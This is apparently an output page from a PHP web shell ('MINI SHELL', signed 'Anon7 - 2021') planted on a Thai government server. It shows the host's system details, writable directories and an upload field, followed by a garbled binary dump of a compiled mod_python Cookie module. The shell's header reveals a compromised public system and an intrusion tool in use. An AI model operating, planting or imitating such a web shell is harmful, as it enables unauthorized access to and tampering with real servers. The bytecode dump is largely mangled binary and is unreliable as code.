MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/mod_python/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/mod_python/Cookie.pyo
mò
A™áCc@sÕdZdkZdkZdkZdkZdkZdefd„ƒYZdefd„ƒYZ	de
fd„ƒYZdefd	„ƒYZd
efd„ƒYZ
eidƒZd
„Zdd„Zed„ZdS(s™

This module contains classes to support HTTP State Management
Mechanism, also known as Cookies. The classes provide simple
ways for creating, parsing and digitally signing cookies, as
well as the ability to store simple Python objects in Cookies
(using marshalling).

The behaviour of the classes is designed to be most useful
within mod_python applications.

The current state of HTTP State Management standardization is
rather unclear. It appears that the de-facto standard is the
original Netscape specification, even though already two RFC's
have been put out (RFC2109 (1997) and RFC2965 (2000)). The
RFC's add a couple of useful features (e.g. using Max-Age instead
of Expires, but my limited tests show that Max-Age is ignored
by the two browsers tested (IE and Safari). As a result of this,
perhaps trying to be RFC-compliant (by automatically providing
Max-Age and Version) could be a waste of cookie space...

NtCookieErrorcBstZRS(N(t__name__t
__module__(((t5/usr/lib/python2.4/site-packages/mod_python/Cookie.pyR3st
metaCookiecBstZd„ZRS(Nc
Csed}|d}||d<||d<d„}d„}td|d|ƒ|d<ti||||ƒS(Ntversiontpathtdomaintsecuretcommenttexpirestmax_aget
commentURLtdiscardtporttnametvaluet_valuet_expirest__data__t_valid_attrt	__slots__cCs—t|ƒtdƒjoLyti|dƒ}Wn tj
otd|‚nXti|ƒ}n"|}tidti|ƒƒ}d||_
dS(Nts%a, %d-%b-%Y %H:%M:%S GMTsInvalid expires time: %ss%s(ttypeRttimetstrptimettt
ValueErrortmktimetstrftimetgmtimetselfR(RRR((Rtset_expiresIs	cCs|iS(N(RR(R((Rtget_expires\stfgettfset(
sversionspathRRR	R
RRsdiscardR(snamesvalueRs_expiresR(RRtclsdictR R!tpropertyRt__new__tclstclsnametbases(R'R(R)R$R RRR!((RR&8s	


		(RRR&(((RR6stCookiecBsDtZdZeZd„ZeeƒZd„Zd„Zd„Z	RS(sÁ
    This class implements the basic Cookie functionality. Note that
    unlike the Python Standard Library Cookie class, this class represents
    a single cookie (not a list of Morsels).
    cCst||ƒ}|S(s¯
        Parse a Cookie or Set-Cookie header value, and return
        a dict of Cookies. Note: the string should NOT include the
        header name, only the value.
        N(t
_parse_cookietstrtClasstdict(R-R,R.((RtparselscKsK|||_|_x(|D] }t||iƒ||ƒqWh|_dS(sÉ
        This constructor takes at least a name and value as the
        arguments, as well as optionally any of allowed cookie attributes
        as defined in the existing cookie standards. 
        N(RRRtkwtktsetattrtlowerR(RRRR0R1((Rt__init__xscCsŒd|i|ifg}xc|iD]X}t||ƒoB|djo|i|ƒq{|id|t||ƒfƒq#q#Wdi|ƒS(s¤
        Provides the string representation of the Cookie suitable for
        sending to the browser. Note that the actual header name will
        not be part of the string.

        This method makes no attempt to automatically double-quote
        strings that contain special characters, even though the RFC's
        dictate this. This is because doing so seems to confuse most
        browsers out there.
        s%s=%sRR
s; N(ssecuresdiscard(	RRRtresultRthasattrtappendtgetattrtjoin(RR5R((Rt__str__ˆs

(cCsd|iit|ƒfS(Ns<%s: %s>(Rt	__class__RR,(R((Rt__repr__žs(
RRt__doc__Rt
__metaclass__R/tclassmethodR4R:R<(((RR*cs	
		tSignedCookiecBsJtZdZd„ZeeƒZed„Zd„Zd„Zd„Z	RS(sx
    This is a variation of Cookie that provides automatic
    cryptographic signing of cookies and verification. It uses
    the HMAC support in the Python standard library. This ensures
    that the cookie has not been tamprered with on the client side.

    Note that this class does not encrypt cookie data, thus it
    is still plainly visible as part of the cookie.
    cCsut||ƒ}x_|D]W}||}y|i|ƒWqtj
o't	i
t	i|ƒƒ|||<qXqW|S(N(R+tsR-R.R1tctunsigntsecretRR*R/R:(R-RARDRBR1R.((RR/®s
)cKs'ti||||||id<dS(NRD(R*R4RRRR0RDR(RRRRDR0((RR4¾scCsN|idp
td‚nti|id|iƒ}|i|ƒ|i	ƒS(NRDsCannot sign without a secret(
RRRthmactnewRt_hmactupdateR,t	hexdigest(RR,RG((RRIÃs


cCs›d|i|i|iƒ|ifg}xc|iD]X}t||ƒoB|djo|i|ƒqŠ|id|t||ƒfƒq2q2Wdi	|ƒS(Ns%s=%s%sRR
s%s=%ss; (ssecuresdiscard(
RRRIRR5RR6R7R8R9(RR5R((RR:Ês(

(cCs‡|id |id}}ti||iƒ}|i	|ƒ|i
ƒ|jo||_||id<ntd|i|if‚dS(Ni RDs Incorrectly Signed Cookie: %s=%s(
RRtsigtvalRERFRDRtmacRHRIRR(RRDRKRLRJ((RRCÖs
	(
RRR=R/R?tNoneR4RIR:RC(((RR@£s				t
MarshalCookiecBs5tZdZd„ZeeƒZd„Zd„ZRS(sä
    This is a variation of SignedCookie that can store more than
    just strings. It will automatically marshal the cookie value,
    therefore any marshallable object can be used as value.

    The standard library Cookie module provides the ability to pickle
    data, which is a major security problem. It is believed that unmarshalling
    (as opposed to unpickling) is safe, yet we still err on the side of caution
    which is why this class is a subclass of SignedCooke making sure what
    we are about to unmarshal passes the digital signature test.

    Here is a link to a sugesstion that marshalling is safer than unpickling
    http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=7xn0hcugmy.fsf%40ruckus.brouhaha.com
    cCs{t||ƒ}xe|D]]}||}y|i|ƒWqtt	fj
o't
it
i|ƒƒ|||<qXqW|S(N(
R+RAR-R.R1RBt	unmarshalRDRRR*R/R:(R-RARDRBR1R.((RR/õs
)cCsÅtiti|iƒƒ}di|iƒƒ}d|i	|i
|ƒ|fg}xc|iD]X}t
||ƒoB|djo|i|ƒq´|id|t||ƒfƒq\q\Wdi|ƒS(NRs%s=%s%sRR
s%s=%ss; (ssecuresdiscard(tbase64tencodestringtmarshaltdumpsRRtmR9tsplitRRIR5RR6R7R8(RRRTR5((RR:s"

(cCs/|i|ƒtiti|iƒƒ|_dS(N(RRCRDRRtloadsRPtdecodestringR(RRD((RROs
(RRR=R/R?R:RO(((RRNäs
		sJ(?x)[,\ ]*(?P<key>[^;\ =]+)\ *(=\ *)?(?P<val>"(?:[^\\"]|\\.)*"|[^;]*)\s*;?cCsqh}ti|ƒ}xU|D]M}|idƒ|idƒ}}|ddjo|||ƒ||<qqW|S(NtkeyRKit$(
R5t_cookiePatterntfinditerR,t	matchItertmatchtgroupRXRKR-(R,R-RXRKR\R5R]((RR+.sRcKsmt|tƒpt|||}n|iidƒp|iiddƒn|iidt	|ƒƒdS(sq
    Sets a cookie in outgoing headers and adds a cache
    directive so that caches don't cache the cookie.
    s
Set-Cookies
Cache-Controlsno-cache="set-cookie"N(
t
isinstancetcookieR*RR0treqtheaders_outthas_keytaddR,(RaR`RR0((Rt
add_cookie?scKsd|iidƒphSn|id}t|ƒtgƒjodi|ƒ}n|i||S(sŽ
    A shorthand for retrieveing and parsing cookies given
    a Cookie class. The class must be one of the classes from
    this module.
    R`s; N(	Rat
headers_inRctcookiesRR9R-R/R0(RaR-R0Rg((Rtget_cookiesPs
(R=RtreRERRRPt	ExceptionRRRtobjectR*R@RNtcompileRZR+ReRh(RNRhReRPR+RRERiRZR*R@RRRR((Rt?)s					-@A;	

Anon7 - 2021